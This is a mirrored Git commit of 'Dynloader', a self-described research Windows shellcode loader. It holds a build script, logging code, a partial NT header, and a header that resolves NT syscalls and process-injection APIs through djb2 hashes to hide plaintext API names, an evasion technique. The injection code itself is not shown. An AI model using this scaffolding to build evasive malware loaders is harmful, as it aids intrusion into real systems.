mirror of
https://github.com/AbishekPonmudi/Dynloader
synced 2026-07-15 03:39:09 +00:00
Initial version Dynldr modules - V1.0.1
This commit is contained in:
@@ -2,13 +2,13 @@
|
|||||||
|
|
||||||
**Modular Windows loader using C++**
|
**Modular Windows loader using C++**
|
||||||
|
|
||||||
For Workaround Check -> **[Building](#Building)**, **[usage](#usage)** and **[testing / demo](#demo)**.
|
For **[usage](#usage)** and **[testing / demo](#demo)**.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Overview
|
## Overview
|
||||||
|
|
||||||
**Dynloader** is a research-oriented Windows loader for studying how payload is delivered, staged, and executed in both **local** and **remote** process contexts, the currect verison support only shellcode staging, Planned more implementation -> check out **[Planned features](#Planned-features)**.
|
**Dynloader** is a research-oriented Windows loader for studying how payload is delivered, staged, and executed in both **local** and **remote** process contexts. The current version supports shellcode staging only — planned work is under **[Planned features](#planned-features)**.
|
||||||
|
|
||||||
It can:
|
It can:
|
||||||
|
|
||||||
@@ -217,7 +217,7 @@ Writes `.enc` + `.key` next to the input for lab packaging.
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Planned-features
|
## Planned features
|
||||||
|
|
||||||
- **Manual PE loader** — full PE / DLL support alongside shellcode (`.bin`)
|
- **Manual PE loader** — full PE / DLL support alongside shellcode (`.bin`)
|
||||||
- **Manual DLL loader / remote DLL ingestion** — map and run DLLs in local or remote processes without relying only on raw shellcode blobs
|
- **Manual DLL loader / remote DLL ingestion** — map and run DLLs in local or remote processes without relying only on raw shellcode blobs
|
||||||
|
|||||||
Binary file not shown.
@@ -0,0 +1,291 @@
|
|||||||
|
@echo off
|
||||||
|
setlocal EnableExtensions EnableDelayedExpansion
|
||||||
|
|
||||||
|
:: =============================================================================
|
||||||
|
:: build.bat — portable build for loader (Release|x64 by default)
|
||||||
|
::
|
||||||
|
:: Usage:
|
||||||
|
:: build.bat Build Release x64
|
||||||
|
:: build.bat debug Build Debug x64
|
||||||
|
:: build.bat clean Clean intermediate + output
|
||||||
|
:: build.bat --install If no MSVC found, install VS Build Tools (minimal)
|
||||||
|
:: build.bat --install debug Install tools then Debug build
|
||||||
|
::
|
||||||
|
:: What it needs (auto if --install):
|
||||||
|
:: - Visual Studio 2019/2022/18 Build Tools OR full VS
|
||||||
|
:: workload: Desktop development with C++ (VCTools)
|
||||||
|
:: - Windows 10/11 SDK (pulled with workload)
|
||||||
|
::
|
||||||
|
:: True zero-install is not possible: MSVC is ~1–3 GB. This script only
|
||||||
|
:: downloads the official Build Tools bootstrapper when you pass --install.
|
||||||
|
::
|
||||||
|
:: Runtime: project links STATIC CRT (/MT Release, /MTd Debug) so loader.exe
|
||||||
|
:: does NOT need vcruntime140.dll / msvcp140.dll next to it on target PCs.
|
||||||
|
:: Prefer: build.bat (Release) for drop-and-run lab use.
|
||||||
|
:: =============================================================================
|
||||||
|
|
||||||
|
cd /d "%~dp0"
|
||||||
|
set "ROOT=%CD%"
|
||||||
|
set "SLN=%ROOT%\loader.sln"
|
||||||
|
set "CONFIG=Release"
|
||||||
|
set "PLATFORM=x64"
|
||||||
|
set "DO_INSTALL=0"
|
||||||
|
set "DO_CLEAN=0"
|
||||||
|
set "MSBUILD="
|
||||||
|
set "VSWHERE="
|
||||||
|
set "TOOLSET="
|
||||||
|
set "VSINSTALL="
|
||||||
|
set "VCVARS="
|
||||||
|
|
||||||
|
for %%A in (%*) do (
|
||||||
|
if /I "%%~A"=="--install" set "DO_INSTALL=1"
|
||||||
|
if /I "%%~A"=="/install" set "DO_INSTALL=1"
|
||||||
|
if /I "%%~A"=="install" set "DO_INSTALL=1"
|
||||||
|
if /I "%%~A"=="debug" set "CONFIG=Debug"
|
||||||
|
if /I "%%~A"=="Debug" set "CONFIG=Debug"
|
||||||
|
if /I "%%~A"=="release" set "CONFIG=Release"
|
||||||
|
if /I "%%~A"=="Release" set "CONFIG=Release"
|
||||||
|
if /I "%%~A"=="clean" set "DO_CLEAN=1"
|
||||||
|
if /I "%%~A"=="Clean" set "DO_CLEAN=1"
|
||||||
|
)
|
||||||
|
|
||||||
|
if not exist "%SLN%" (
|
||||||
|
echo [x] loader.sln not found in "%ROOT%"
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ============================================
|
||||||
|
echo loader build ^| %CONFIG%^|%PLATFORM%
|
||||||
|
echo ============================================
|
||||||
|
echo.
|
||||||
|
|
||||||
|
call :FindVsWhere
|
||||||
|
call :FindMsBuild
|
||||||
|
if defined MSBUILD goto :HaveToolchain
|
||||||
|
|
||||||
|
if "%DO_INSTALL%"=="1" (
|
||||||
|
call :InstallBuildTools
|
||||||
|
call :FindVsWhere
|
||||||
|
call :FindMsBuild
|
||||||
|
)
|
||||||
|
|
||||||
|
if not defined MSBUILD (
|
||||||
|
echo [x] MSBuild / C++ toolset not found.
|
||||||
|
echo.
|
||||||
|
echo Install options:
|
||||||
|
echo 1^) Re-run: build.bat --install
|
||||||
|
echo ^(downloads VS Build Tools + C++ workload, needs admin + internet^)
|
||||||
|
echo 2^) Manual: https://visualstudio.microsoft.com/visual-cpp-build-tools/
|
||||||
|
echo Select "Desktop development with C++"
|
||||||
|
echo.
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
:HaveToolchain
|
||||||
|
call :DetectToolset
|
||||||
|
echo [+] MSBuild : %MSBUILD%
|
||||||
|
if defined TOOLSET (
|
||||||
|
echo [+] Toolset: %TOOLSET%
|
||||||
|
) else (
|
||||||
|
echo [!] Toolset: ^(project default / auto^)
|
||||||
|
)
|
||||||
|
echo [+] Config : %CONFIG%^|%PLATFORM%
|
||||||
|
echo.
|
||||||
|
|
||||||
|
if "%DO_CLEAN%"=="1" (
|
||||||
|
echo [*] Cleaning...
|
||||||
|
"%MSBUILD%" "%SLN%" /t:Clean /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /m /nologo /v:minimal
|
||||||
|
if errorlevel 1 exit /b 1
|
||||||
|
echo [+] Clean done.
|
||||||
|
exit /b 0
|
||||||
|
)
|
||||||
|
|
||||||
|
set "EXTRA_PROPS="
|
||||||
|
if defined TOOLSET set "EXTRA_PROPS=/p:PlatformToolset=%TOOLSET%"
|
||||||
|
|
||||||
|
echo [*] Building...
|
||||||
|
"%MSBUILD%" "%SLN%" /t:Build /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% %EXTRA_PROPS% /m /nologo /v:minimal
|
||||||
|
if errorlevel 1 (
|
||||||
|
echo.
|
||||||
|
echo [x] Build FAILED.
|
||||||
|
echo If the exe is locked: close loader.exe and rebuild.
|
||||||
|
echo If toolset missing: build.bat --install
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
set "OUT=%ROOT%\x64\%CONFIG%\loader.exe"
|
||||||
|
if exist "%OUT%" (
|
||||||
|
echo.
|
||||||
|
echo [+] SUCCESS
|
||||||
|
echo [+] Output: %OUT%
|
||||||
|
for %%F in ("%OUT%") do echo [+] Size : %%~zF bytes
|
||||||
|
) else (
|
||||||
|
echo.
|
||||||
|
echo [!] Build reported success but "%OUT%" not found.
|
||||||
|
echo Check loader\x64\%CONFIG%\ or project OutDir.
|
||||||
|
)
|
||||||
|
|
||||||
|
echo.
|
||||||
|
exit /b 0
|
||||||
|
|
||||||
|
:: ---------------------------------------------------------------------------
|
||||||
|
:: Find vswhere.exe (ships with VS Installer)
|
||||||
|
:: ---------------------------------------------------------------------------
|
||||||
|
:FindVsWhere
|
||||||
|
set "VSWHERE="
|
||||||
|
if exist "%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" (
|
||||||
|
set "VSWHERE=%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe"
|
||||||
|
exit /b 0
|
||||||
|
)
|
||||||
|
if exist "%ProgramFiles%\Microsoft Visual Studio\Installer\vswhere.exe" (
|
||||||
|
set "VSWHERE=%ProgramFiles%\Microsoft Visual Studio\Installer\vswhere.exe"
|
||||||
|
)
|
||||||
|
exit /b 0
|
||||||
|
|
||||||
|
:: ---------------------------------------------------------------------------
|
||||||
|
:: Locate MSBuild that can build C++ (prefers latest with VC tools)
|
||||||
|
:: ---------------------------------------------------------------------------
|
||||||
|
:FindMsBuild
|
||||||
|
set "MSBUILD="
|
||||||
|
set "VSINSTALL="
|
||||||
|
|
||||||
|
if defined VSWHERE (
|
||||||
|
:: Prefer install with Microsoft.VisualStudio.Component.VC.Tools.x86.x64
|
||||||
|
for /f "usebackq delims=" %%I in (`"%VSWHERE%" -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath 2^>nul`) do (
|
||||||
|
set "VSINSTALL=%%I"
|
||||||
|
)
|
||||||
|
if not defined VSINSTALL (
|
||||||
|
for /f "usebackq delims=" %%I in (`"%VSWHERE%" -latest -products * -requires Microsoft.Component.MSBuild -property installationPath 2^>nul`) do (
|
||||||
|
set "VSINSTALL=%%I"
|
||||||
|
)
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
if defined VSINSTALL (
|
||||||
|
if exist "!VSINSTALL!\MSBuild\Current\Bin\amd64\MSBuild.exe" (
|
||||||
|
set "MSBUILD=!VSINSTALL!\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||||
|
exit /b 0
|
||||||
|
)
|
||||||
|
if exist "!VSINSTALL!\MSBuild\Current\Bin\MSBuild.exe" (
|
||||||
|
set "MSBUILD=!VSINSTALL!\MSBuild\Current\Bin\MSBuild.exe"
|
||||||
|
exit /b 0
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
:: Fallback: common fixed paths (VS 18 / 2022 / 2019 Build Tools + Community)
|
||||||
|
for %%P in (
|
||||||
|
"%ProgramFiles%\Microsoft Visual Studio\18\BuildTools\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||||
|
"%ProgramFiles%\Microsoft Visual Studio\18\Community\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||||
|
"%ProgramFiles%\Microsoft Visual Studio\18\Professional\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||||
|
"%ProgramFiles%\Microsoft Visual Studio\18\Enterprise\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||||
|
"%ProgramFiles%\Microsoft Visual Studio\2022\BuildTools\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||||
|
"%ProgramFiles%\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||||
|
"%ProgramFiles%\Microsoft Visual Studio\2022\Professional\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||||
|
"%ProgramFiles%\Microsoft Visual Studio\2022\Enterprise\MSBuild\Current\Bin\amd64\MSBuild.exe"
|
||||||
|
"%ProgramFiles(x86)%\Microsoft Visual Studio\2019\BuildTools\MSBuild\Current\Bin\MSBuild.exe"
|
||||||
|
"%ProgramFiles(x86)%\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\MSBuild.exe"
|
||||||
|
) do (
|
||||||
|
if exist %%~P (
|
||||||
|
set "MSBUILD=%%~P"
|
||||||
|
exit /b 0
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
:: PATH
|
||||||
|
where msbuild.exe >nul 2>&1
|
||||||
|
if not errorlevel 1 (
|
||||||
|
for /f "delims=" %%I in ('where msbuild.exe') do (
|
||||||
|
set "MSBUILD=%%I"
|
||||||
|
exit /b 0
|
||||||
|
)
|
||||||
|
)
|
||||||
|
exit /b 0
|
||||||
|
|
||||||
|
:: ---------------------------------------------------------------------------
|
||||||
|
:: Pick PlatformToolset matching installed VS (project file says v145)
|
||||||
|
:: ---------------------------------------------------------------------------
|
||||||
|
:DetectToolset
|
||||||
|
set "TOOLSET="
|
||||||
|
|
||||||
|
:: Map VS major version from vswhere when possible
|
||||||
|
if defined VSWHERE (
|
||||||
|
for /f "usebackq delims=" %%I in (`"%VSWHERE%" -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationVersion 2^>nul`) do (
|
||||||
|
set "VSVER=%%I"
|
||||||
|
)
|
||||||
|
if defined VSVER (
|
||||||
|
for /f "tokens=1 delims=." %%M in ("!VSVER!") do set "VSMAJOR=%%M"
|
||||||
|
if "!VSMAJOR!"=="18" set "TOOLSET=v145"
|
||||||
|
if "!VSMAJOR!"=="17" set "TOOLSET=v143"
|
||||||
|
if "!VSMAJOR!"=="16" set "TOOLSET=v142"
|
||||||
|
if defined TOOLSET exit /b 0
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
:: Fallback: MSVC folder names under the install
|
||||||
|
if defined VSINSTALL if exist "!VSINSTALL!\VC\Tools\MSVC" (
|
||||||
|
for /f "delims=" %%V in ('dir /b /ad /o-n "!VSINSTALL!\VC\Tools\MSVC" 2^>nul') do (
|
||||||
|
set "VER=%%V"
|
||||||
|
set "MAJ=!VER:~0,4!"
|
||||||
|
if "!MAJ!"=="14.5" ( set "TOOLSET=v145" & exit /b 0 )
|
||||||
|
if "!MAJ!"=="14.4" ( set "TOOLSET=v143" & exit /b 0 )
|
||||||
|
if "!MAJ!"=="14.3" ( set "TOOLSET=v143" & exit /b 0 )
|
||||||
|
if "!MAJ!"=="14.2" ( set "TOOLSET=v142" & exit /b 0 )
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
:: Last resort: leave empty so .vcxproj PlatformToolset is used
|
||||||
|
exit /b 0
|
||||||
|
|
||||||
|
:: ---------------------------------------------------------------------------
|
||||||
|
:: Download + install minimal VS Build Tools (C++ desktop workload)
|
||||||
|
:: ---------------------------------------------------------------------------
|
||||||
|
:InstallBuildTools
|
||||||
|
echo.
|
||||||
|
echo [!] No C++ toolchain found. Installing Visual Studio Build Tools...
|
||||||
|
echo Workload: Desktop development with C++ (VCTools)
|
||||||
|
echo This needs Administrator rights and internet. Size ~1.5–3 GB.
|
||||||
|
echo.
|
||||||
|
|
||||||
|
:: Prefer winget if present (cleanest)
|
||||||
|
where winget.exe >nul 2>&1
|
||||||
|
if not errorlevel 1 (
|
||||||
|
echo [*] Trying winget install of VS 2022 Build Tools...
|
||||||
|
winget install -e --id Microsoft.VisualStudio.2022.BuildTools --accept-package-agreements --accept-source-agreements --override "--wait --passive --add Microsoft.VisualStudio.Workload.VCTools --includeRecommended --add Microsoft.VisualStudio.Component.Windows11SDK.22621"
|
||||||
|
if not errorlevel 1 (
|
||||||
|
echo [+] winget install finished.
|
||||||
|
exit /b 0
|
||||||
|
)
|
||||||
|
echo [!] winget install failed or cancelled — falling back to bootstrapper.
|
||||||
|
)
|
||||||
|
|
||||||
|
set "BT_DIR=%ROOT%\.build-tools"
|
||||||
|
set "BT_EXE=%BT_DIR%\vs_BuildTools.exe"
|
||||||
|
if not exist "%BT_DIR%" mkdir "%BT_DIR%"
|
||||||
|
|
||||||
|
if not exist "%BT_EXE%" (
|
||||||
|
echo [*] Downloading VS Build Tools bootstrapper...
|
||||||
|
:: Official ever-green bootstrapper (VS 2022 Build Tools)
|
||||||
|
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
|
||||||
|
"try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://aka.ms/vs/17/release/vs_BuildTools.exe' -OutFile '%BT_EXE%' -UseBasicParsing } catch { Write-Error $_; exit 1 }"
|
||||||
|
if errorlevel 1 (
|
||||||
|
echo [x] Download failed.
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
echo [*] Running installer (passive). Approve UAC if prompted...
|
||||||
|
"%BT_EXE%" --wait --passive --norestart ^
|
||||||
|
--add Microsoft.VisualStudio.Workload.VCTools ^
|
||||||
|
--includeRecommended ^
|
||||||
|
--add Microsoft.VisualStudio.Component.Windows11SDK.22621
|
||||||
|
|
||||||
|
if errorlevel 1 (
|
||||||
|
echo [x] Build Tools install failed (exit %ERRORLEVEL%).
|
||||||
|
echo Run this .bat as Administrator, or install manually:
|
||||||
|
echo https://visualstudio.microsoft.com/visual-cpp-build-tools/
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
echo [+] Build Tools install finished.
|
||||||
|
exit /b 0
|
||||||
@@ -0,0 +1,87 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
// djb2 — compile-time and runtime hash for module/export resolution.
|
||||||
|
// No plaintext API names required at call sites; only DWORD constants.
|
||||||
|
namespace Hashes {
|
||||||
|
|
||||||
|
constexpr std::uint32_t kSeed = 5381u;
|
||||||
|
|
||||||
|
constexpr std::uint32_t Djb2(const char* s) {
|
||||||
|
std::uint32_t h = kSeed;
|
||||||
|
while (*s) {
|
||||||
|
h = (h * 33u) + static_cast<unsigned char>(*s++);
|
||||||
|
}
|
||||||
|
return h;
|
||||||
|
}
|
||||||
|
|
||||||
|
constexpr std::uint32_t Djb2Lower(const char* s) {
|
||||||
|
std::uint32_t h = kSeed;
|
||||||
|
while (*s) {
|
||||||
|
char c = *s++;
|
||||||
|
if (c >= 'A' && c <= 'Z') {
|
||||||
|
c = static_cast<char>(c + 32);
|
||||||
|
}
|
||||||
|
h = (h * 33u) + static_cast<unsigned char>(c);
|
||||||
|
}
|
||||||
|
return h;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Module hashes (lowercase basename) ---
|
||||||
|
constexpr std::uint32_t H_NTDLL_DLL = Djb2Lower("ntdll.dll");
|
||||||
|
constexpr std::uint32_t H_KERNEL32_DLL = Djb2Lower("kernel32.dll");
|
||||||
|
constexpr std::uint32_t H_LoadLibraryW = Djb2("LoadLibraryW");
|
||||||
|
constexpr std::uint32_t H_CreateThread = 0x7F08F451u; // api_hash verified
|
||||||
|
constexpr std::uint32_t H_WaitForSingleObject = Djb2("WaitForSingleObject");
|
||||||
|
constexpr std::uint32_t H_CloseHandle = Djb2("CloseHandle");
|
||||||
|
constexpr std::uint32_t H_CreateProcessW = Djb2("CreateProcessW");
|
||||||
|
constexpr std::uint32_t H_CreateRemoteThread = Djb2("CreateRemoteThread");
|
||||||
|
constexpr std::uint32_t H_ResumeThread = Djb2("ResumeThread");
|
||||||
|
constexpr std::uint32_t H_SearchPathW = Djb2("SearchPathW");
|
||||||
|
constexpr std::uint32_t H_OpenProcess = Djb2("OpenProcess");
|
||||||
|
constexpr std::uint32_t H_WS2_32_DLL = Djb2Lower("ws2_32.dll");
|
||||||
|
constexpr std::uint32_t H_BCRYPT_DLL = Djb2Lower("bcrypt.dll");
|
||||||
|
|
||||||
|
// --- NT exports (syscall targets) ---
|
||||||
|
constexpr std::uint32_t H_NtAllocateVirtualMemory = Djb2("NtAllocateVirtualMemory");
|
||||||
|
constexpr std::uint32_t H_NtProtectVirtualMemory = Djb2("NtProtectVirtualMemory");
|
||||||
|
constexpr std::uint32_t H_NtWriteVirtualMemory = Djb2("NtWriteVirtualMemory");
|
||||||
|
constexpr std::uint32_t H_NtFreeVirtualMemory = Djb2("NtFreeVirtualMemory");
|
||||||
|
constexpr std::uint32_t H_NtCreateSection = Djb2("NtCreateSection");
|
||||||
|
constexpr std::uint32_t H_NtMapViewOfSection = Djb2("NtMapViewOfSection");
|
||||||
|
constexpr std::uint32_t H_NtUnmapViewOfSection = Djb2("NtUnmapViewOfSection");
|
||||||
|
constexpr std::uint32_t H_NtOpenProcess = Djb2("NtOpenProcess");
|
||||||
|
constexpr std::uint32_t H_NtCreateThreadEx = Djb2("NtCreateThreadEx");
|
||||||
|
constexpr std::uint32_t H_NtClose = Djb2("NtClose");
|
||||||
|
constexpr std::uint32_t H_NtQuerySystemInformation = Djb2("NtQuerySystemInformation");
|
||||||
|
constexpr std::uint32_t H_NtCreateFile = Djb2("NtCreateFile");
|
||||||
|
constexpr std::uint32_t H_NtReadFile = Djb2("NtReadFile");
|
||||||
|
constexpr std::uint32_t H_NtQueryInformationProcess = Djb2("NtQueryInformationProcess");
|
||||||
|
|
||||||
|
// --- BCrypt (AES) — runtime-verified on MSVC x64 ---
|
||||||
|
constexpr std::uint32_t H_BCryptOpenAlgorithmProvider = 0x2A15DFDDu;
|
||||||
|
constexpr std::uint32_t H_BCryptCloseAlgorithmProvider = 0xFCD0CDC1u;
|
||||||
|
constexpr std::uint32_t H_BCryptGenerateSymmetricKey = 0xA81D472Au;
|
||||||
|
constexpr std::uint32_t H_BCryptDestroyKey = 0x7B16C8CCu;
|
||||||
|
constexpr std::uint32_t H_BCryptEncrypt = 0xCB04529Eu;
|
||||||
|
constexpr std::uint32_t H_BCryptDecrypt = 0x690BA834u;
|
||||||
|
constexpr std::uint32_t H_BCryptSetProperty = 0xE9049EEAu;
|
||||||
|
constexpr std::uint32_t H_BCryptGenRandom = 0x3A73C634u;
|
||||||
|
|
||||||
|
// --- Winsock (HTTP client/server) ---
|
||||||
|
constexpr std::uint32_t H_WSAStartup = Djb2("WSAStartup");
|
||||||
|
constexpr std::uint32_t H_WSACleanup = Djb2("WSACleanup");
|
||||||
|
constexpr std::uint32_t H_socket = Djb2("socket");
|
||||||
|
constexpr std::uint32_t H_connect = Djb2("connect");
|
||||||
|
constexpr std::uint32_t H_send = Djb2("send");
|
||||||
|
constexpr std::uint32_t H_recv = Djb2("recv");
|
||||||
|
constexpr std::uint32_t H_closesocket = Djb2("closesocket");
|
||||||
|
constexpr std::uint32_t H_bind = Djb2("bind");
|
||||||
|
constexpr std::uint32_t H_listen = Djb2("listen");
|
||||||
|
constexpr std::uint32_t H_accept = Djb2("accept");
|
||||||
|
constexpr std::uint32_t H_getaddrinfo = Djb2("getaddrinfo");
|
||||||
|
constexpr std::uint32_t H_freeaddrinfo = Djb2("freeaddrinfo");
|
||||||
|
constexpr std::uint32_t H_setsockopt = Djb2("setsockopt");
|
||||||
|
|
||||||
|
} // namespace Hashes
|
||||||
@@ -0,0 +1,141 @@
|
|||||||
|
#include "log.hpp"
|
||||||
|
|
||||||
|
#include <cstring>
|
||||||
|
|
||||||
|
namespace Log {
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
bool g_verbose = false;
|
||||||
|
bool g_serverVerbose = false;
|
||||||
|
|
||||||
|
void VPrint(const char* prefix, const char* fmt, va_list args) {
|
||||||
|
std::fprintf(stdout, "%s ", prefix);
|
||||||
|
std::vfprintf(stdout, fmt, args);
|
||||||
|
std::fprintf(stdout, "\n");
|
||||||
|
std::fflush(stdout);
|
||||||
|
}
|
||||||
|
|
||||||
|
void VPrintIf(bool enabled, const char* prefix, const char* fmt, va_list args) {
|
||||||
|
if (!enabled) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
VPrint(prefix, fmt, args);
|
||||||
|
}
|
||||||
|
} // namespace
|
||||||
|
|
||||||
|
void SetVerbose(bool enabled) {
|
||||||
|
g_verbose = enabled;
|
||||||
|
}
|
||||||
|
|
||||||
|
void SetServerVerbose(bool enabled) {
|
||||||
|
g_serverVerbose = enabled;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool IsVerbose() {
|
||||||
|
return g_verbose;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool IsServerVerbose() {
|
||||||
|
return g_serverVerbose;
|
||||||
|
}
|
||||||
|
|
||||||
|
void Ok(const char* fmt, ...) {
|
||||||
|
va_list args;
|
||||||
|
va_start(args, fmt);
|
||||||
|
VPrint("[+]", fmt, args);
|
||||||
|
va_end(args);
|
||||||
|
}
|
||||||
|
|
||||||
|
void Warn(const char* fmt, ...) {
|
||||||
|
va_list args;
|
||||||
|
va_start(args, fmt);
|
||||||
|
VPrint("[!]", fmt, args);
|
||||||
|
va_end(args);
|
||||||
|
}
|
||||||
|
|
||||||
|
void Err(const char* fmt, ...) {
|
||||||
|
va_list args;
|
||||||
|
va_start(args, fmt);
|
||||||
|
VPrint("[x]", fmt, args);
|
||||||
|
va_end(args);
|
||||||
|
}
|
||||||
|
|
||||||
|
void Info(const char* fmt, ...) {
|
||||||
|
va_list args;
|
||||||
|
va_start(args, fmt);
|
||||||
|
VPrintIf(g_verbose, "[*]", fmt, args);
|
||||||
|
va_end(args);
|
||||||
|
}
|
||||||
|
|
||||||
|
void Dbg(const char* fmt, ...) {
|
||||||
|
va_list args;
|
||||||
|
va_start(args, fmt);
|
||||||
|
VPrintIf(g_verbose, "[-]", fmt, args);
|
||||||
|
va_end(args);
|
||||||
|
}
|
||||||
|
|
||||||
|
void Sys(const char* fmt, ...) {
|
||||||
|
va_list args;
|
||||||
|
va_start(args, fmt);
|
||||||
|
VPrintIf(g_verbose, "[@]", fmt, args);
|
||||||
|
va_end(args);
|
||||||
|
}
|
||||||
|
|
||||||
|
void Raw(const char* fmt, ...) {
|
||||||
|
va_list args;
|
||||||
|
va_start(args, fmt);
|
||||||
|
VPrintIf(g_verbose, "[@]", fmt, args);
|
||||||
|
va_end(args);
|
||||||
|
}
|
||||||
|
|
||||||
|
void Banner(const char* title) {
|
||||||
|
if (!g_verbose) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
std::fprintf(stdout, "\n[@] === %s ===\n", title);
|
||||||
|
std::fflush(stdout);
|
||||||
|
}
|
||||||
|
|
||||||
|
void NtStatus(const char* tag, long status) {
|
||||||
|
if (!g_verbose) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
std::fprintf(stdout, "[@] %s NTSTATUS=0x%08lX (%s)\n", tag,
|
||||||
|
static_cast<unsigned long>(status),
|
||||||
|
status >= 0 ? "SUCCESS" : "FAIL");
|
||||||
|
std::fflush(stdout);
|
||||||
|
}
|
||||||
|
|
||||||
|
void HexPreview(const char* tag, const void* data, size_t len, size_t maxBytes) {
|
||||||
|
if (!g_verbose || !data || len == 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const auto* p = static_cast<const unsigned char*>(data);
|
||||||
|
const size_t n = len < maxBytes ? len : maxBytes;
|
||||||
|
std::fprintf(stdout, "[@] %s hex[%zu/%zu]: ", tag, n, len);
|
||||||
|
for (size_t i = 0; i < n; ++i) {
|
||||||
|
std::fprintf(stdout, "%02X ", p[i]);
|
||||||
|
}
|
||||||
|
if (len > maxBytes) {
|
||||||
|
std::fprintf(stdout, "...");
|
||||||
|
}
|
||||||
|
std::fprintf(stdout, "\n");
|
||||||
|
std::fflush(stdout);
|
||||||
|
}
|
||||||
|
|
||||||
|
void Srv(const char* fmt, ...) {
|
||||||
|
va_list args;
|
||||||
|
va_start(args, fmt);
|
||||||
|
VPrintIf(g_serverVerbose, "[S]", fmt, args);
|
||||||
|
va_end(args);
|
||||||
|
}
|
||||||
|
|
||||||
|
void SrvBanner(const char* title) {
|
||||||
|
if (!g_serverVerbose) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
std::fprintf(stdout, "\n[S] === %s ===\n", title);
|
||||||
|
std::fflush(stdout);
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace Log
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <cstdarg>
|
||||||
|
#include <cstdio>
|
||||||
|
#include <cstddef>
|
||||||
|
|
||||||
|
namespace Log {
|
||||||
|
|
||||||
|
// Two independent channels so --server --verbose does not dump loader/syscall noise,
|
||||||
|
// and loader --verbose does not spam server request logs.
|
||||||
|
void SetVerbose(bool enabled); // loader / injection / syscall path
|
||||||
|
void SetServerVerbose(bool enabled); // HTTP fileless server path only
|
||||||
|
bool IsVerbose();
|
||||||
|
bool IsServerVerbose();
|
||||||
|
|
||||||
|
// Always shown (normal + verbose)
|
||||||
|
void Ok(const char* fmt, ...); // [+] essential success
|
||||||
|
void Warn(const char* fmt, ...); // [!] warning
|
||||||
|
void Err(const char* fmt, ...); // [x] error
|
||||||
|
|
||||||
|
// Loader verbose only (--verbose on normal/fileless/enc)
|
||||||
|
void Info(const char* fmt, ...); // [*] step info
|
||||||
|
void Dbg(const char* fmt, ...); // [-] debug detail
|
||||||
|
void Sys(const char* fmt, ...); // [@] syscall / internals
|
||||||
|
void Raw(const char* fmt, ...); // [@] bare unstructured dump
|
||||||
|
void Banner(const char* title); // [@] section header
|
||||||
|
void NtStatus(const char* tag, long status);
|
||||||
|
void HexPreview(const char* tag, const void* data, size_t len, size_t maxBytes = 64);
|
||||||
|
|
||||||
|
// Server verbose only (--server ... --verbose)
|
||||||
|
void Srv(const char* fmt, ...); // [S] server step / request
|
||||||
|
void SrvBanner(const char* title); // [S] server section header
|
||||||
|
|
||||||
|
} // namespace Log
|
||||||
@@ -0,0 +1,110 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
|
||||||
|
#ifndef NT_SUCCESS
|
||||||
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
using NTSTATUS = LONG;
|
||||||
|
|
||||||
|
// Additional NT constants not always in winternl.h
|
||||||
|
#ifndef SEC_COMMIT
|
||||||
|
#define SEC_COMMIT 0x08000000
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef ViewShare
|
||||||
|
#define ViewShare 1
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef ViewUnmap
|
||||||
|
#define ViewUnmap 2
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef SystemProcessInformation
|
||||||
|
#define SystemProcessInformation 5
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef PROCESS_ALL_ACCESS
|
||||||
|
#define PROCESS_ALL_ACCESS 0x001FFFFF
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef OBJ_CASE_INSENSITIVE
|
||||||
|
